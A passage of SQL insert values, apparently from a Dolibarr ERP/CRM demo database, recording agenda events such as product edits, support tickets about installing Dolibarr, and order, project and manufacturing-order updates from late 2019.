created',27,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(402,'402',NULL,1,'2019-11-28 16:39:58','2019-11-28 16:39:58',40,'AC_PRODUCT_CREATE','Product POS-ORANGE created','2019-11-28 16:39:58','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-ORANGE created',28,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(403,'403',NULL,1,'2019-11-28 17:00:28','2019-11-28 17:00:28',40,'AC_PRODUCT_MODIFY','Product APPLEPIE modified','2019-11-28 17:00:28','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct APPLEPIE modified',4,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(404,'404',NULL,1,'2019-11-28 17:00:46','2019-11-28 17:00:46',40,'AC_PRODUCT_MODIFY','Product PEARPIE modified','2019-11-28 17:00:46','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PEARPIE modified',2,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(405,'405',NULL,1,'2019-11-28 17:01:57','2019-11-28 17:01:57',40,'AC_PRODUCT_MODIFY','Product POS-APPLE modified','2019-11-28 17:01:57','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-APPLE modified',25,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(406,'406',NULL,1,'2019-11-28 17:03:14','2019-11-28 17:03:14',40,'AC_PRODUCT_CREATE','Product POS-Eggs created','2019-11-28 17:03:14','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-Eggs created',29,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(407,'407',NULL,1,'2019-11-28 17:04:17','2019-11-28 17:04:17',40,'AC_PRODUCT_MODIFY','Product POS-Eggs modified','2019-11-28 17:04:17','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-Eggs modified',29,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(408,'408',NULL,1,'2019-11-28 17:09:14','2019-11-28 17:09:14',40,'AC_PRODUCT_CREATE','Product POS-Chips created','2019-11-28 17:09:14','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-Chips created',30,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(409,'409',NULL,1,'2019-11-28 17:09:54','2019-11-28 17:09:54',40,'AC_PRODUCT_MODIFY','Product POS-Chips modified','2019-11-28 17:09:54','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-Chips modified',30,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(410,'410',NULL,1,'2019-11-28 18:46:20','2019-11-28 18:46:20',40,'AC_PRODUCT_MODIFY','Product POS-APPLE modified','2019-11-28 18:46:20','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-APPLE modified',25,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(411,'411',NULL,1,'2019-11-28 18:59:29','2019-11-28 18:59:29',40,'AC_PRODUCT_MODIFY','Product PEARPIE modified','2019-11-28 18:59:29','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PEARPIE modified',2,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(412,'412',NULL,1,'2019-11-28 19:02:01','2019-11-28 19:02:01',40,'AC_PRODUCT_MODIFY','Product POS-CARROT modified','2019-11-28 19:02:01','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct POS-CARROT modified',24,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(413,'413',NULL,1,'2019-11-28 19:09:50','2019-11-28 19:09:50',40,'AC_PRODUCT_MODIFY','Product PEARPIE modified','2019-11-28 19:09:50','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PEARPIE modified',2,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(414,'414',NULL,1,'2019-11-28 19:12:50','2019-11-28 19:12:50',40,'AC_PRODUCT_MODIFY','Product PEARPIE modified','2019-11-28 19:12:50','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct PEARPIE modified',2,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(415,'415',NULL,1,'2019-11-29 12:46:29','2019-11-29 12:46:29',40,'AC_TICKET_CREATE','Ticket TS1911-0004 created','2019-11-29 12:46:29','2021-04-15 10:22:55',12,NULL,4,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nTicket TS1911-0004 created',6,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(416,'416',NULL,1,'2019-11-29 12:46:34','2019-11-29 12:46:34',40,'AC_TICKET_MODIFY','Ticket TS1911-0004 read by Alice Adminson','2019-11-29 12:46:34','2021-04-15 10:22:55',12,NULL,4,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nTicket TS1911-0004 read by Alice Adminson',6,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(417,'417',NULL,1,'2019-11-29 12:46:47','2019-11-29 12:46:47',40,'AC_TICKET_ASSIGNED','Ticket TS1911-0004 assigned','2019-11-29 12:46:47','2021-04-15 10:22:55',12,NULL,4,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nTicket TS1911-0004 assigned\nOld user: None\nNew user: Commerson Charle1',6,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(418,'418',NULL,1,'2019-11-29 12:47:13',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #5gvo9bsjri55zef9] New message','2019-11-29 12:47:13','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'Where do you want to install Dolibarr ?
\r\nOn-Premise or on the Cloud ?',6,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(419,'419',NULL,1,'2019-11-29 12:50:45','2019-11-29 12:50:45',40,'AC_TICKET_CREATE','Ticket TS1911-0005 créé','2019-11-29 12:50:45','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nTicket TS1911-0005 créé',7,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(420,'420',NULL,1,'2019-11-29 12:52:32','2019-11-29 12:52:32',40,'AC_TICKET_MODIFY','Ticket TS1911-0005 read by Alice Adminson','2019-11-29 12:52:32','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nTicket TS1911-0005 read by Alice Adminson',7,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(421,'421',NULL,1,'2019-11-29 12:52:53','2019-11-29 12:52:53',40,'AC_TICKET_ASSIGNED','Ticket TS1911-0005 assigned','2019-11-29 12:52:53','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nTicket TS1911-0005 assigned\nOld user: None\nNew user: Commerson Charle1',7,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(422,'422',NULL,1,'2019-11-29 12:54:04',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #d51wjy4nym7wltg7] New message','2019-11-29 12:54:04','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'Hi.
\r\nThanks for your interest in using Dolibarr ERP CRM.
\r\nI need more information to give you the correct answer : Where do you want to install Dolibarr. On premise or on Cloud',7,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(423,'423',NULL,1,'2019-11-29 12:54:46',NULL,50,'TICKET_MSG','','2019-11-29 12:54:46','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,100,'',NULL,NULL,'I need it On-Premise.',7,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(424,'424',NULL,1,'2019-11-29 12:55:42',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #d51wjy4nym7wltg7] New message','2019-11-29 12:55:42','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'When used on-premise, you can download and install Dolibarr yourself from ou web portal: https://www.dolibarr.org
\r\nIt is completely free.',7,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(425,'425',NULL,1,'2019-11-29 12:55:48','2019-11-29 12:55:48',40,'AC_TICKET_CLOSE','Ticket TS1911-0005 closed','2019-11-29 12:55:48','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nTicket TS1911-0005 closed',7,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(426,'426',NULL,1,'2019-11-29 12:56:47','2019-11-29 12:56:47',40,'AC_BOM_UNVALIDATE','BOM unvalidated','2019-11-29 12:56:47','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM unvalidated',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(427,'427',NULL,1,'2019-11-29 12:57:14','2019-11-29 12:57:14',40,'AC_BOM_VALIDATE','BOM validated','2019-11-29 12:57:14','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM validated',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(428,'428',NULL,1,'2019-12-20 16:40:14','2019-12-20 16:40:14',40,'AC_MO_DELETE','MO deleted','2019-12-20 16:40:14','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO deleted',3,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(429,'429',NULL,1,'2019-12-20 17:00:43','2019-12-20 17:00:43',40,'AC_MO_DELETE','MO deleted','2019-12-20 17:00:43','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO deleted',7,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(430,'430',NULL,1,'2019-12-20 17:00:56','2019-12-20 17:00:56',40,'AC_MO_DELETE','MO deleted','2019-12-20 17:00:56','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO deleted',6,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(431,'431',NULL,1,'2019-12-20 20:00:03','2019-12-20 20:00:03',40,'AC_MO_DELETE','MO deleted','2019-12-20 20:00:03','2021-04-15 10:22:55',12,NULL,6,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO deleted',1,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(432,'432',NULL,1,'2019-12-20 20:22:11','2019-12-20 20:22:11',40,'AC_MO_DELETE','MO deleted','2019-12-20 20:22:11','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO deleted',10,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(433,'433',NULL,1,'2019-12-20 20:22:11','2019-12-20 20:22:11',40,'AC_MO_DELETE','MO deleted','2019-12-20 20:22:11','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO deleted',12,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(434,'434',NULL,1,'2019-12-20 20:22:20','2019-12-20 20:22:20',40,'AC_MO_DELETE','MO deleted','2019-12-20 20:22:20','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO deleted',9,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(435,'435',NULL,1,'2019-12-20 20:27:07','2019-12-20 20:27:07',40,'AC_MO_DELETE','MO deleted','2019-12-20 20:27:07','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO deleted',13,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(436,'436',NULL,1,'2019-12-20 20:42:42','2019-12-20 20:42:42',40,'AC_ORDER_VALIDATE','Order CO7001-0027 validated','2019-12-20 20:42:42','2021-04-15 10:22:55',12,NULL,NULL,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nOrder CO7001-0027 validated',88,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(437,'437',NULL,1,'2019-12-20 20:46:25','2019-12-20 20:46:25',40,'AC_ORDER_SUPPLIER_RECEIVE','Purchase Order CF1007-0001 received','2019-12-20 20:46:25','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nPurchase Order CF1007-0001 received ',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(438,'438',NULL,1,'2019-12-20 20:46:45','2019-12-20 20:46:45',40,'AC_ORDER_SUPPLIER_CLASSIFY_BILLED','Purchase Order CF1007-0001 set billed','2019-12-20 20:46:45','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nPurchase Order CF1007-0001 set billed',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(439,'439',NULL,1,'2019-12-20 20:47:02','2019-12-20 20:47:02',40,'AC_ORDER_SUPPLIER_RECEIVE','Purchase Order CF1007-0001 received','2019-12-20 20:47:02','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nPurchase Order CF1007-0001 received ',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(440,'440',NULL,1,'2019-12-20 20:47:44','2019-12-20 20:47:44',40,'AC_ORDER_SUPPLIER_RECEIVE','Purchase Order CF1007-0001 received','2019-12-20 20:47:44','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nPurchase Order CF1007-0001 received ',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(441,'441',NULL,1,'2019-12-20 20:47:53','2019-12-20 20:47:53',40,'AC_ORDER_SUPPLIER_RECEIVE','Purchase Order CF1007-0001 received','2019-12-20 20:47:53','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nPurchase Order CF1007-0001 received ',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(442,'442',NULL,1,'2019-12-20 20:48:05','2019-12-20 20:48:05',40,'AC_ORDER_SUPPLIER_RECEIVE','Purchase Order CF1007-0001 received','2019-12-20 20:48:05','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nPurchase Order CF1007-0001 received ',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(443,'443',NULL,1,'2019-12-20 20:48:45','2019-12-20 20:48:45',40,'AC_ORDER_CLASSIFY_BILLED','Order CO7001-0016 classified billed','2019-12-20 20:48:45','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nOrder CO7001-0016 classified billed',54,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(444,'444',NULL,1,'2019-12-20 20:48:55','2019-12-20 20:48:55',40,'AC_ORDER_CLOSE','Order CO7001-0018 classified delivered','2019-12-20 20:48:55','2021-04-15 10:22:55',12,NULL,NULL,19,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nOrder CO7001-0018 classified delivered',62,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(445,'445',NULL,1,'2019-12-20 20:49:43','2019-12-20 20:49:43',40,'AC_PROPAL_CLASSIFY_BILLED','Proposal PR1702-0027 classified billed','2019-12-20 20:49:43','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1702-0027 classified billed',29,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(446,'446',NULL,1,'2019-12-20 20:49:54','2019-12-20 20:49:54',40,'AC_PROPAL_CLOSE_SIGNED','Proposal PR1702-0027 signed','2019-12-20 20:49:54','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1702-0027 signed',29,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(447,'447',NULL,1,'2019-12-20 20:50:14','2019-12-20 20:50:14',40,'AC_PROPAL_CLOSE_REFUSED','Proposal PR1702-0027 refused','2019-12-20 20:50:14','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1702-0027 refused',29,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(448,'448',NULL,1,'2019-12-20 20:50:23','2019-12-20 20:50:23',40,'AC_PROPAL_CLOSE_SIGNED','Proposal PR1702-0027 signed','2019-12-20 20:50:23','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1702-0027 signed',29,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(449,'449',NULL,1,'2019-12-21 17:18:22','2019-12-21 17:18:22',40,'AC_BOM_CLOSE','BOM disabled','2019-12-21 17:18:22','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM disabled',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(450,'450',NULL,1,'2019-12-21 17:18:38','2019-12-21 17:18:38',40,'AC_MEMBER_RESILIATE','Member Vick Smith terminated','2019-12-21 17:18:38','2021-04-15 10:22:55',12,NULL,NULL,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember Vick Smith terminated\nMember: Vick Smith\nType: Standard members',1,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(451,'451',NULL,1,'2019-12-21 19:46:33','2019-12-21 19:46:33',40,'AC_PROJECT_CREATE','Project PJ1912-0005 created','2019-12-21 19:46:33','2021-04-15 10:22:55',12,NULL,10,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0005 created\nProject: PJ1912-0005',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(452,'452',NULL,1,'2019-12-21 19:47:03','2019-12-21 19:47:03',40,'AC_PROJECT_MODIFY','Project PJ1912-0005 modified','2019-12-21 19:47:03','2021-04-15 10:22:55',12,NULL,10,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0005 modified\nTask: PJ1912-0005',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(453,'453',NULL,1,'2019-12-21 19:47:24','2019-12-21 19:47:24',40,'AC_PROJECT_MODIFY','Project PJ1912-0005 modified','2019-12-21 19:47:24','2021-04-15 10:22:55',12,NULL,10,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0005 modified\nTask: PJ1912-0005',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(454,'454',NULL,1,'2019-12-21 19:47:52','2019-12-21 19:47:52',40,'AC_PROJECT_MODIFY','Project PJ1912-0005 modified','2019-12-21 19:47:52','2021-04-15 10:22:55',12,NULL,10,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0005 modified\nTask: PJ1912-0005',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(455,'455',NULL,1,'2019-12-21 19:48:06','2019-12-21 19:48:06',40,'AC_PROJECT_MODIFY','Project PJ1912-0005 modified','2019-12-21 19:48:06','2021-04-15 10:22:55',12,NULL,10,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0005 modified\nTask: PJ1912-0005',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(456,'456',NULL,1,'2019-12-21 19:49:28','2019-12-21 19:49:28',40,'AC_PROJECT_CREATE','Project PJ1912-0006 created','2019-12-21 19:49:28','2021-04-15 10:22:55',12,NULL,11,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0006 created\nProject: PJ1912-0006',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(457,'457',NULL,1,'2019-12-21 19:52:12','2019-12-21 19:52:12',40,'AC_PROJECT_CREATE','Project PJ1912-0007 created','2019-12-21 19:52:12','2021-04-15 10:22:55',12,NULL,12,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0007 created\nProject: PJ1912-0007',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(458,'458',NULL,1,'2019-12-21 19:53:21','2019-12-21 19:53:21',40,'AC_PROJECT_CREATE','Project PJ1912-0008 created','2019-12-21 19:53:21','2021-04-15 10:22:55',12,NULL,13,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0008 created\nProject: PJ1912-0008',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(459,'459',NULL,1,'2019-12-21 19:53:42','2019-12-21 19:53:42',40,'AC_PROJECT_MODIFY','Project PJ1912-0008 modified','2019-12-21 19:53:42','2021-04-15 10:22:55',12,NULL,13,26,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0008 modified\nTask: PJ1912-0008',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(460,'460',NULL,1,'2019-12-21 19:55:23','2019-12-21 19:55:23',40,'AC_PROJECT_MODIFY','Project PJ1912-0006 modified','2019-12-21 19:55:23','2021-04-15 10:22:55',12,NULL,11,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0006 modified\nTask: PJ1912-0006',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(461,'461',NULL,1,'2019-12-21 20:10:21','2019-12-21 20:10:21',40,'AC_PROJECT_MODIFY','Project PJ1912-0006 modified','2019-12-21 20:10:21','2021-04-15 10:22:55',12,NULL,11,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0006 modified\nTask: PJ1912-0006',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(462,'462',NULL,1,'2019-12-11 10:00:00','2019-12-11 10:00:00',5,'AC_RDV','Meeting with all employees','2019-12-21 20:29:32','2021-04-15 